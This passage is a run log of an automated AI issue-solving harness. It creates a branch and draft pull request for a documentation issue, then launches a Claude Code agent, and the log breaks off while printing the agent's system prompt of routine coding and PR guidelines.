https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:43:01.475Z] [INFO] \u2705 File created:             .gitkeep\n[2026-09-29T07:43:01.478Z] [INFO] \ud83d\udce6 Adding file:              To git staging\n[2026-09-29T07:43:01.552Z] [STDOUT] A  .gitkeep\n[2026-09-29T07:43:01.553Z] [INFO]    Git status after add: A  .gitkeep\n[2026-09-29T07:43:01.558Z] [INFO] \ud83d\udcdd Creating commit:          With .gitkeep file\n[2026-09-29T07:43:01.605Z] [STDOUT] [issue-646-497e337ac092 611336a] Initial commit with task details\n 1 file changed, 1 insertion(+)\n create mode 100644 .gitkeep\n[2026-09-29T07:43:01.607Z] [INFO] \u2705 Commit created:           Successfully with .gitkeep\n[2026-09-29T07:43:01.612Z] [INFO]    Commit output: [issue-646-497e337ac092 611336a] Initial commit with task details\n[2026-09-29T07:43:01.612Z] [INFO]  1 file changed, 1 insertion(+)\n[2026-09-29T07:43:01.612Z] [INFO]  create mode 100644 .gitkeep\n[2026-09-29T07:43:01.646Z] [INFO]    Commit hash: 611336a...\n[2026-09-29T07:43:01.705Z] [STDOUT] 611336a Initial commit with task details\n[2026-09-29T07:43:01.722Z] [INFO]    Latest commit: 611336a Initial commit with task details\n[2026-09-29T07:43:01.817Z] [INFO]    Git status: clean\n[2026-09-29T07:43:01.857Z] [STDOUT] origin\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab.git (fetch)\norigin\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab.git (push)\n[2026-09-29T07:43:01.865Z] [INFO]    Remotes: origin\thttps://github.com/G-Ivan-A/hybrid-Intelligence-lab.git (fetch)\n[2026-09-29T07:43:01.912Z] [STDOUT] * issue-646-497e337ac092 611336a [origin/main: ahead 1] Initial commit with task details\n  main                   ecb1d94 [origin/main] Merge pull request #641 from G-Ivan-A/issue-638-dea7773c503b\n[2026-09-29T07:43:01.914Z] [INFO]    Branch info: * issue-646-497e337ac092 611336a [origin/main: ahead 1] Initial commit with task details\n[2026-09-29T07:43:01.914Z] [INFO]   main                   ecb1d94 [origin/main] Merge pull request #641 from G-Ivan-A/issue-638-dea7773c503b\n[2026-09-29T07:43:01.928Z] [INFO] \ud83d\udce4 Pushing branch:           To remote repository...\n[2026-09-29T07:43:01.938Z] [INFO]    Push command: git push -u origin issue-646-497e337ac092\n[2026-09-29T07:43:04.071Z] [STDOUT] remote: \nremote: Create a pull request for 'issue-646-497e337ac092' on GitHub by visiting:        \n[2026-09-29T07:43:04.075Z] [STDOUT] remote:      https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/new/issue-646-497e337ac092        \nremote: \nTo https://github.com/G-Ivan-A/hybrid-Intelligence-lab.git\n * [new branch]      issue-646-497e337ac092 -> issue-646-497e337ac092\n[2026-09-29T07:43:04.116Z] [STDOUT] branch 'issue-646-497e337ac092' set up to track 'origin/issue-646-497e337ac092'.\n[2026-09-29T07:43:04.180Z] [INFO]    Push exit code: 0\n[2026-09-29T07:43:04.191Z] [INFO]    Push output: remote: \n[2026-09-29T07:43:04.191Z] [INFO] remote: Create a pull request for 'issue-646-497e337ac092' on GitHub by visiting:        \n[2026-09-29T07:43:04.191Z] [INFO] remote:      https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/new/issue-646-497e337ac092        \n[2026-09-29T07:43:04.191Z] [INFO] remote: \n[2026-09-29T07:43:04.191Z] [INFO] To https://github.com/G-Ivan-A/hybrid-Intelligence-lab.git\n[2026-09-29T07:43:04.191Z] [INFO]  * [new branch]      issue-646-497e337ac092 -> issue-646-497e337ac092\n[2026-09-29T07:43:04.191Z] [INFO] branch 'issue-646-497e337ac092' set up to track 'origin/issue-646-497e337ac092'.\n[2026-09-29T07:43:04.197Z] [INFO] \u2705 Branch pushed:            Successfully to remote\n[2026-09-29T07:43:04.209Z] [INFO]    Push output: remote: \n[2026-09-29T07:43:04.209Z] [INFO] remote: Create a pull request for 'issue-646-497e337ac092' on GitHub by visiting:        \n[2026-09-29T07:43:04.209Z] [INFO] remote:      https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/new/issue-646-497e337ac092        \n[2026-09-29T07:43:04.209Z] [INFO] remote: \n[2026-09-29T07:43:04.209Z] [INFO] To https://github.com/G-Ivan-A/hybrid-Intelligence-lab.git\n[2026-09-29T07:43:04.209Z] [INFO]  * [new branch]      issue-646-497e337ac092 -> issue-646-497e337ac092\n[2026-09-29T07:43:04.209Z] [INFO] branch 'issue-646-497e337ac092' set up to track 'origin/issue-646-497e337ac092'.\n[2026-09-29T07:43:04.214Z] [INFO]    Waiting for GitHub to sync...\n[2026-09-29T07:43:06.960Z] [STDOUT] 1\n[2026-09-29T07:43:06.969Z] [INFO]    Compare API check: 1 commit(s) ahead of main\n[2026-09-29T07:43:06.972Z] [INFO]    GitHub compare API ready: 1 commit(s) found\n[2026-09-29T07:43:07.466Z] [INFO]    Branch verified on GitHub: issue-646-497e337ac092\n[2026-09-29T07:43:07.915Z] [INFO]    Remote commit SHA: 611336a...\n[2026-09-29T07:43:07.920Z] [INFO] \ud83d\udccb Getting issue:            Title from GitHub...\n[2026-09-29T07:43:08.425Z] [STDOUT] title: \"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\"\n[2026-09-29T07:43:08.433Z] [INFO]    Issue title: \"title: \"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\"\"\n[2026-09-29T07:43:08.439Z] [INFO] \ud83d\udc64 Getting user:             Current GitHub account...\n[2026-09-29T07:43:08.915Z] [STDOUT] konard\n[2026-09-29T07:43:08.925Z] [INFO]    Current user: konard\n[2026-09-29T07:43:09.454Z] [INFO]    User has collaborator access\n[2026-09-29T07:43:09.459Z] [INFO]    User has collaborator access\n[2026-09-29T07:43:09.463Z] [INFO] \ud83d\udd04 Fetching:                 Latest main branch...\n[2026-09-29T07:43:09.991Z] [INFO] \u2705 Base updated:             Fetched latest main\n[2026-09-29T07:43:09.994Z] [INFO] \ud83d\udd0d Checking:                 Commits between branches...\n[2026-09-29T07:43:10.023Z] [STDOUT] 1\n[2026-09-29T07:43:10.027Z] [INFO]    Commits ahead of origin/main: 1\n[2026-09-29T07:43:10.033Z] [INFO] \u2705 Commits found:            1 commit(s) ahead\n[2026-09-29T07:43:10.041Z] [INFO] \ud83d\udd00 Creating PR:              Draft pull request...\n[2026-09-29T07:43:10.044Z] [INFO] \ud83c\udfaf Target branch:            main (default)\n[2026-09-29T07:43:10.048Z] [INFO]    PR Title: [WIP] title: \"[creative/docs] \u041f\u0440\u0435\u0437\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0411\u0410 \u0438 \u0441\u0440\u0435\u0434 \u0435\u0451 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0420\u0443\u043a\u043e\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044f AI-\u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 Mango\"\n[2026-09-29T07:43:10.050Z] [INFO]    Base branch: main\n[2026-09-29T07:43:10.054Z] [INFO]    Head branch: issue-646-497e337ac092\n[2026-09-29T07:43:10.057Z] [INFO]    Assignee: konard\n[2026-09-29T07:43:10.061Z] [INFO]    PR Body:\n[2026-09-29T07:43:10.061Z] [INFO] ## \ud83e\udd16 AI-Powered Solution Draft\n[2026-09-29T07:43:10.061Z] [INFO] \n[2026-09-29T07:43:10.061Z] [INFO] This pull request is being automatically generated to solve issue #646.\n[2026-09-29T07:43:10.061Z] [INFO] \n[2026-09-29T07:43:10.061Z] [INFO] ### \ud83d\udccb Issue Reference\n[2026-09-29T07:43:10.061Z] [INFO] Fixes #646\n[2026-09-29T07:43:10.061Z] [INFO] \n[2026-09-29T07:43:10.061Z] [INFO] ### \ud83d\udea7 Status\n[2026-09-29T07:43:10.061Z] [INFO] **Work in Progress** - The AI assistant is currently analyzing and implementing the solution draft.\n[2026-09-29T07:43:10.061Z] [INFO] \n[2026-09-29T07:43:10.061Z] [INFO] ### \ud83d\udcdd Implementation Details\n[2026-09-29T07:43:10.061Z] [INFO] _Details will be added as the solution draft is developed..._\n[2026-09-29T07:43:10.061Z] [INFO] \n[2026-09-29T07:43:10.061Z] [INFO] ---\n[2026-09-29T07:43:10.061Z] [INFO] *This PR was created automatically by the AI issue solver*\n[2026-09-29T07:43:10.074Z] [STDERR] [use-m] use('command-stream') joined an in-flight load (alias command-stream-v-latest)\n[2026-09-29T07:43:10.746Z] [INFO]    Command: cd \"/tmp/gh-issue-solver-1790667776920\" && gh pr create --draft --title \"$(cat '/tmp/pr-title-1790667790734.txt')\" --body-file \"/tmp/pr-body-1790667790066.md\" --base main --head issue-646-497e337ac092 --repo G-Ivan-A/hybrid-Intelligence-lab --assignee konard\n[2026-09-29T07:43:14.216Z] [INFO]    gh pr create stdout: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T07:43:14.221Z] [INFO] \ud83d\udd0d Verifying:                PR creation...\n[2026-09-29T07:43:16.757Z] [STDOUT] {\"number\":648,\"state\":\"OPEN\",\"url\":\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\"}\n[2026-09-29T07:43:16.770Z] [INFO] \u2705 Verification:             PR exists on GitHub (attempt 1/5)\n[2026-09-29T07:43:16.773Z] [INFO] \u2705 PR created:               #648\n[2026-09-29T07:43:16.777Z] [INFO] \ud83d\udccd PR URL:                   https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T07:43:16.780Z] [INFO] \ud83d\udc64 Assigned to:              konard\n[2026-09-29T07:43:16.784Z] [INFO] \ud83d\udd17 Linking:                  Issue #646 to PR #648...\n[2026-09-29T07:43:17.280Z] [INFO]    Issue node ID: I_kwDOQvNwgs8AAAABT1lzyQ\n[2026-09-29T07:43:17.940Z] [INFO]    PR node ID: PR_kwDOQvNwgs8AAAABFpn7jg\n[2026-09-29T07:43:18.517Z] [INFO] \n[2026-09-29T07:43:18.520Z] [WARNING] \u26a0\ufe0f ISSUE LINK MISSING:       PR not linked to issue\n[2026-09-29T07:43:18.523Z] [INFO] \n[2026-09-29T07:43:18.526Z] [WARNING]    The PR wasn't linked to issue #646\n[2026-09-29T07:43:18.530Z] [WARNING]    Expected: \"Fixes #646\" in PR body\n[2026-09-29T07:43:18.534Z] [INFO] \n[2026-09-29T07:43:18.537Z] [WARNING]    To fix manually:\n[2026-09-29T07:43:18.542Z] [WARNING]    1. Edit the PR description at: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T07:43:18.545Z] [WARNING]    2. Ensure it contains: Fixes #646\n[2026-09-29T07:43:18.547Z] [INFO] \n[2026-09-29T07:43:19.156Z] [INFO]   \ud83d\udc64 Current user:           konard\n[2026-09-29T07:43:19.160Z] [INFO] \n[2026-09-29T07:43:19.160Z] [INFO] \ud83d\udcca Comment counting conditions:\n[2026-09-29T07:43:19.164Z] [INFO]    prNumber: 648\n[2026-09-29T07:43:19.167Z] [INFO]    branchName: issue-646-497e337ac092\n[2026-09-29T07:43:19.171Z] [INFO]    isContinueMode: false\n[2026-09-29T07:43:19.174Z] [INFO]    Will count comments: true\n[2026-09-29T07:43:19.178Z] [INFO] \ud83d\udcac Counting comments:        Checking for new comments since last commit...\n[2026-09-29T07:43:19.182Z] [INFO]    PR #648 on branch: issue-646-497e337ac092\n[2026-09-29T07:43:19.191Z] [INFO]    Owner/Repo: G-Ivan-A/hybrid-Intelligence-lab\n[2026-09-29T07:43:19.195Z] [INFO]    Repository path: /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:19.231Z] [INFO]   \ud83d\udcc5 Last commit time:       2026-09-29T07:43:01.000Z\n[2026-09-29T07:43:21.969Z] [INFO]   \ud83d\udcac New PR comments:        0\n[2026-09-29T07:43:21.973Z] [INFO]   \ud83d\udcac New PR review comments: 0\n[2026-09-29T07:43:21.976Z] [INFO]   \ud83d\udcac New issue comments:     0\n[2026-09-29T07:43:21.980Z] [INFO]    Total new comments: 0\n[2026-09-29T07:43:21.981Z] [INFO]    Comment lines to add: No (saving tokens)\n[2026-09-29T07:43:21.984Z] [INFO]    PR review comments fetched: 0\n[2026-09-29T07:43:21.987Z] [INFO]    PR conversation comments fetched: 0\n[2026-09-29T07:43:21.990Z] [INFO]    Total PR comments checked: 0\n[2026-09-29T07:43:26.059Z] [INFO]    Feedback info will be added to prompt:\n[2026-09-29T07:43:26.063Z] [INFO]      - Pull request description was edited after last commit\n[2026-09-29T07:43:26.063Z] [INFO] \ud83d\udcc5 Getting timestamps:       From GitHub servers...\n[2026-09-29T07:43:26.622Z] [STDOUT] 2026-09-29T06:33:23Z\n[2026-09-29T07:43:26.643Z] [INFO]   \ud83d\udcdd Issue updated:          2026-09-29T06:33:23.000Z\n[2026-09-29T07:43:27.197Z] [INFO]   \ud83d\udcac Comments:               None found\n[2026-09-29T07:43:27.794Z] [STDOUT] [{\"createdAt\":\"2026-09-29T07:43:12Z\"}]\n[2026-09-29T07:43:27.808Z] [INFO]   \ud83d\udd00 Recent PR:              2026-09-29T07:43:12.000Z\n[2026-09-29T07:43:27.812Z] [INFO] \n[2026-09-29T07:43:27.812Z] [INFO] \u2705 Reference time:           2026-09-29T07:43:12.000Z\n[2026-09-29T07:43:27.816Z] [INFO] \n[2026-09-29T07:43:27.816Z] [INFO] \ud83d\udd0d Checking for uncommitted changes to include as feedback...\n[2026-09-29T07:43:27.867Z] [INFO] \u2705 No uncommitted changes found\n[2026-09-29T07:43:28.211Z] [INFO] \ud83d\udc41\ufe0f  Model vision capability: supported\n[2026-09-29T07:43:28.232Z] [INFO] \n[2026-09-29T07:43:28.232Z] [INFO] \ud83d\udcdd Final prompt structure:\n[2026-09-29T07:43:28.237Z] [INFO]    Characters: 291\n[2026-09-29T07:43:28.242Z] [INFO]    System prompt characters: 15022\n[2026-09-29T07:43:28.245Z] [INFO]    Feedback info: Included\n[2026-09-29T07:43:28.257Z] [INFO] \n[2026-09-29T07:43:28.257Z] [INFO] \ud83e\udd16 Executing Claude:         OPUS\n[2026-09-29T07:43:28.261Z] [INFO]    Model: opus (claude-opus-5)\n[2026-09-29T07:43:28.269Z] [INFO]    Working directory: /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:28.274Z] [INFO]    Branch: issue-646-497e337ac092\n[2026-09-29T07:43:28.284Z] [INFO]    Prompt length: 291 chars\n[2026-09-29T07:43:28.287Z] [INFO]    System prompt length: 15022 chars\n[2026-09-29T07:43:28.289Z] [INFO]    Feedback info included: Yes (1 lines)\n[2026-09-29T07:43:28.355Z] [INFO] \ud83d\udcc8 System resources before execution:\n[2026-09-29T07:43:28.358Z] [INFO]    Memory: MemFree:         7148544 kB\n[2026-09-29T07:43:28.361Z] [INFO]    Load: 3.17 2.99 4.65 3/1263 1982\n[2026-09-29T07:43:28.373Z] [INFO] \ud83e\udded Claude Code quiet config updated at /home/box/.claude/settings.json: settings[autoMemoryEnabled=false, spinnerTipsEnabled=false, awaySummaryEnabled=false, feedbackSurveyRate=0, includeCoAuthoredBy=false, includeGitInstructions=true, prefersReducedMotion=true, showThinkingSummaries=false, skipDangerousModePermissionPrompt=true, viewMode=\"verbose\", attribution={\"commit\":\"\",\"pr\":\"\"}, permissions={\"disableAutoMode\":\"disable\",\"defaultMode\":\"bypassPermissions\"}], env[CLAUDE_CODE_DISABLE_AUTO_MEMORY=1, CLAUDE_CODE_DISABLE_ORG_MEMORY=1, CLAUDE_CODE_CLASSIFIER_SUMMARY=0, CLAUDE_CODE_EMIT_TOOL_USE_SUMMARIES=0, CLAUDE_CODE_ENABLE_NARRATION=0, CLAUDE_CODE_ENABLE_PROMPT_SUGGESTION=0, CLAUDE_CODE_ENABLE_REMOTE_RECAP=0, CLAUDE_CODE_DISABLE_CRON=1, CLAUDE_CODE_DISABLE_TERMINAL_TITLE=1, CLAUDE_CODE_DISABLE_CLAUDE_MDS=1, CLAUDE_CODE_DISABLE_FAST_MODE=1, CLAUDE_CODE_DISABLE_FEEDBACK_SURVEY=1, CLAUDE_CODE_DISABLE_MOUSE=1, CLAUDE_CODE_DISABLE_OFFICIAL_MARKETPLACE_AUTOINSTALL=1, CLAUDE_CODE_ENABLE_AWAY_SUMMARY=0, CLAUDE_CODE_ENABLE_TASKS=1, CLAUDE_CODE_MAX_TOOL_USE_CONCURRENCY=4, CLAUDE_CODE_RESUME_INTERRUPTED_TURN=1, DISABLE_FEEDBACK_COMMAND=1]\n[2026-09-29T07:43:28.388Z] [INFO] \ud83e\uddf0 Created filtered MCP config (excluding 'claude.ai gmail*', 'claude.ai google drive*', 'claude.ai google calendar*'): /tmp/claude-mcp-no-useless-1790667808382-1.json\n[2026-09-29T07:43:28.391Z] [INFO] \ud83e\uddf0 Useless MCP servers (claude.ai Gmail/Drive/Calendar) disabled for this session via --strict-mcp-config (issue #1627)\n[2026-09-29T07:43:28.399Z] [INFO] \ud83e\uddf0 Disallowed 16 useless Claude Code tool(s) for this session (issue #1627)\n[2026-09-29T07:43:28.402Z] [INFO] \n[2026-09-29T07:43:28.402Z] [INFO] \ud83d\udcdd Raw command:              \n[2026-09-29T07:43:28.413Z] [INFO] (cd \"/tmp/gh-issue-solver-1790667776920\" && claude --output-format stream-json --verbose --dangerously-skip-permissions --model opus --fallback-model claude-opus-4-8 --strict-mcp-config --mcp-config \"/tmp/claude-mcp-no-useless-1790667808382-1.json\" --disallowedTools AskUserQuestion CronCreate CronDelete CronList EnterPlanMode EnterWorktree ExitPlanMode ExitWorktree Monitor NotebookEdit PushNotification RemoteTrigger ScheduleWakeup mcp__claude_ai_Gmail__* mcp__claude_ai_Google_Drive__* mcp__claude_ai_Google_Calendar__* -p \"Issue to solve: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646\n[2026-09-29T07:43:28.413Z] [INFO] Your prepared branch: issue-646-497e337ac092\n[2026-09-29T07:43:28.413Z] [INFO] Your prepared working directory: /tmp/gh-issue-solver-1790667776920\n[2026-09-29T07:43:28.413Z] [INFO] Your prepared Pull Request: https://github.com/G-Ivan-A/hybrid-Intelligence-lab/pull/648\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Proceed.\n[2026-09-29T07:43:28.413Z] [INFO] \" --append-system-prompt \"You are an AI issue solver. When you investigate issues, prefer root-cause analysis. When you communicate, prefer facts you have checked yourself or cite sources that provide evidence, such as quoted code or references to documents or web pages. When you are unsure or working from assumptions, test them yourself or ask clarifying questions.\n[2026-09-29T07:43:28.413Z] [INFO] General guidelines.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you execute commands and the output becomes large, save the logs to files for easier review.\n[2026-09-29T07:43:28.413Z] [INFO]    - When running commands, avoid setting a timeout yourself. Let them run as long as needed. The default timeout of 2 minutes is usually enough, and once commands finish, review the logs in the file.\n[2026-09-29T07:43:28.413Z] [INFO]    - When running sudo commands, especially package installations like apt-get, yum, or npm install, run them in the background to avoid timeout issues and permission errors when the process needs to be killed. Use the run_in_background parameter or append & to the command.\n[2026-09-29T07:43:28.413Z] [INFO]    - When CI is failing or user reports failures, consider adding a detailed investigation protocol to your todo list with these steps:\n[2026-09-29T07:43:28.413Z] [INFO]       Step 1: List recent runs with timestamps using: gh run list --repo G-Ivan-A/hybrid-Intelligence-lab --branch issue-646-497e337ac092 --limit 5 --json databaseId,conclusion,createdAt,headSha\n[2026-09-29T07:43:28.413Z] [INFO]       Step 2: Verify runs are after the latest commit by checking timestamps and SHA\n[2026-09-29T07:43:28.413Z] [INFO]       Step 3: For each non-passing run, download logs to preserve them: gh run view {run-id} --repo G-Ivan-A/hybrid-Intelligence-lab --log > ci-logs/{workflow}-{run-id}.log\n[2026-09-29T07:43:28.413Z] [INFO]       Step 4: Read each downloaded log file with the Read tool to understand the actual failures\n[2026-09-29T07:43:28.413Z] [INFO]       Step 5: Report findings with specific errors and line numbers from logs\n[2026-09-29T07:43:28.413Z] [INFO]       This detailed investigation is especially helpful when user mentions CI failures, asks to investigate logs, you see non-passing status, or when finalizing a PR.\n[2026-09-29T07:43:28.413Z] [INFO]       Note: If user says \\\"failing\\\" but tools show \\\"passing\\\", this might indicate stale data - consider downloading fresh logs and checking timestamps to resolve the discrepancy.\n[2026-09-29T07:43:28.413Z] [INFO]    - When a code or log file has more than 1500 lines, read it in chunks of 1500 lines.\n[2026-09-29T07:43:28.413Z] [INFO]    - When facing a complex problem, do as much tracing as possible and turn on all verbose modes.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you create debug, test, or example scripts while fixing an issue, keep them in ./examples and/or ./experiments so you can reuse them later.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you test assumptions, keep experiment scripts in ./experiments.\n[2026-09-29T07:43:28.413Z] [INFO]    - When an experiment demonstrates a real-world use case of the software, add it to ./examples.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you face something extremely hard, use divide and conquer.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Initial research.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you start, create a detailed plan for yourself and follow your todo list step by step. Add as many relevant points from these guidelines to the todo list as practical so you can track the work clearly.\n[2026-09-29T07:43:28.413Z] [INFO]    - When the user mentions CI failures or asks to investigate logs, consider adding these todos to track the investigation: (1) list recent CI runs with timestamps, (2) download logs from failed runs to the ci-logs/ directory, (3) analyze error messages and identify the root cause, (4) implement a fix, (5) verify that the fix resolves the specific errors found in the logs.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you read the issue, read all details and comments thoroughly.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you see screenshots or images in issue descriptions, pull request descriptions, comments, or discussions, download the image to a local file first, then use the Read tool to view and analyze it. Before reading downloaded images with the Read tool, verify that the file is a valid image rather than HTML by using a CLI tool such as the 'file' command. When corrupted or non-image files, such as GitHub \\\"Not Found\\\" pages saved as `.png`, are read, they can cause \\\"Could not process image\\\" errors and crash the AI solver process. When the file command shows \\\"HTML\\\", \\\"text\\\", or \\\"ASCII text\\\", the download failed, so do not call Read on that file. Instead: (1) when images are from GitHub issues or PRs, such as URLs containing \\\"github.com/user-attachments\\\", retry with: curl -L -H \\\"Authorization: [REDACTED] \\$(gh auth token)\\\" -o  \\\"\\\" (2) when the retry still fails, skip the image and note that it was unavailable.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need issue details, use gh issue view https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/646.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need related code, use gh search code --owner G-Ivan-A [keywords].\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need repo context, read files in your working directory.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you study related work, study the most recent related pull requests.\n[2026-09-29T07:43:28.413Z] [INFO]    - When the issue is not defined clearly enough, write a comment with clarifying questions.\n[2026-09-29T07:43:28.413Z] [INFO]    - When accessing GitHub Gists (especially private ones), use gh gist view command instead of direct URL fetching to ensure proper authentication.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you are fixing a bug, find the actual root cause first and run as many experiments as needed.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you are fixing a bug and the code does not have enough tracing or logs, add them and keep them in the code with the default state switched off.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need comments on a pull request, note that GitHub has three different comment types with different API endpoints:\n[2026-09-29T07:43:28.413Z] [INFO]       1. PR review comments (inline code comments): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/pulls/648/comments --paginate\n[2026-09-29T07:43:28.413Z] [INFO]       2. PR conversation comments (general discussion): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/issues/648/comments --paginate\n[2026-09-29T07:43:28.413Z] [INFO]       3. PR reviews (approve/request changes): gh api repos/G-Ivan-A/hybrid-Intelligence-lab/pulls/648/reviews --paginate\n[2026-09-29T07:43:28.413Z] [INFO]       Note: The command \\\"gh pr view --json comments\\\" only returns conversation comments and misses review comments.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need the latest comments on the issue, use gh api repos/G-Ivan-A/hybrid-Intelligence-lab/issues/646/comments --paginate.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Solution development and testing.\n[2026-09-29T07:43:28.413Z] [INFO]    - When issue is solvable, first create a test that reproduces the problem, then implement the fix.\n[2026-09-29T07:43:28.413Z] [INFO]    - When implementing features, search for similar existing implementations in the codebase and use them as examples instead of implementing everything from scratch.\n[2026-09-29T07:43:28.413Z] [INFO]    - When coding, commit each atomic step that is useful on its own to the pull request branch so interrupted work remains preserved in the pull request.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you test:\n[2026-09-29T07:43:28.413Z] [INFO]       start from testing of small functions using separate scripts;\n[2026-09-29T07:43:28.413Z] [INFO]       write unit tests with mocks for easy and quick start.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you test integrations, use existing framework.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you test solution draft, include automated checks in pr.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you write or modify tests, consider setting reasonable timeouts at test, suite, and CI job levels so failures surface quickly instead of hanging.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you see repeated test timeout patterns in CI, investigate the root cause rather than increasing timeouts.\n[2026-09-29T07:43:28.413Z] [INFO]    - When the issue is unclear, write a comment on the issue with questions.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you encounter problems that you cannot solve yourself and need human help, write a comment on the pull request asking for help.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need human help, use gh pr comment 648 --body \\\"your message\\\" to comment on existing PR.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Reproducible testing.\n[2026-09-29T07:43:28.413Z] [INFO]    - When fixing a bug, create a test that reproduces the problem before implementing the fix. When you cannot reproduce the problem, you cannot verify the fix.\n[2026-09-29T07:43:28.413Z] [INFO]    - When encountering logic bugs, write an automated test that fails due to the bug, then implement the fix to make it pass.\n[2026-09-29T07:43:28.413Z] [INFO]    - When encountering UI bugs, capture a screenshot showing the problem state, then create a visual regression test or manual verification screenshot after the fix.\n[2026-09-29T07:43:28.413Z] [INFO]    - When creating tests, prefer minimum reproducible examples, meaning the simplest test case that demonstrates the issue.\n[2026-09-29T07:43:28.413Z] [INFO]    - When submitting a fix, include in the PR description: (1) how to reproduce the issue, (2) the automated test that verifies the fix, (3) before/after screenshots for UI issues.\n[2026-09-29T07:43:28.413Z] [INFO]    - When a bug fix does not have a reproducing test, treat the fix as incomplete because regressions can occur later without notice.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Preparing pull request.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you code, follow contributing guidelines.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you commit, write clear message.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you need examples of style, use gh pr list --repo G-Ivan-A/hybrid-Intelligence-lab --state merged --search [keywords].\n[2026-09-29T07:43:28.413Z] [INFO]    - When you open pr, describe solution draft and include tests.\n[2026-09-29T07:43:28.413Z] [INFO]    - When there is a package with version and GitHub Actions workflows for automatic release, update the version (or other necessary release trigger) in your pull request to prepare for next release.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you update existing pr 648, use gh pr edit to modify title and description.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you are about to commit or push code, run local CI checks first if they are available in contributing guidelines (like ruff check, mypy, eslint, etc.) to catch errors before pushing.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you finalize the pull request:\n[2026-09-29T07:43:28.413Z] [INFO]       follow style from merged prs for code, title, and description,\n[2026-09-29T07:43:28.413Z] [INFO]       check that no uncommitted changes corresponding to the original requirements are left behind,\n[2026-09-29T07:43:28.413Z] [INFO]       check that the default branch is merged into the pull request branch,\n[2026-09-29T07:43:28.413Z] [INFO]       check that all CI checks are passing if they exist before you finish,\n[2026-09-29T07:43:28.413Z] [INFO]       check for latest comments on the issue and pull request to ensure no recent feedback was missed,\n[2026-09-29T07:43:28.413Z] [INFO]       double-check that all changes in the pull request address the original requirements of the issue,\n[2026-09-29T07:43:28.413Z] [INFO]       check for newly introduced bugs in the pull request by carefully reading gh pr diff,\n[2026-09-29T07:43:28.413Z] [INFO]       check that no previously existing features were removed without an explicit request in the issue description, issue comments, or pull request comments.\n[2026-09-29T07:43:28.413Z] [INFO]    - When you finish implementation, use gh pr ready 648.\n[2026-09-29T07:43:28.413Z] [INFO] \n[2026-09-29T07:43:28.413Z] [INFO] Workflow and 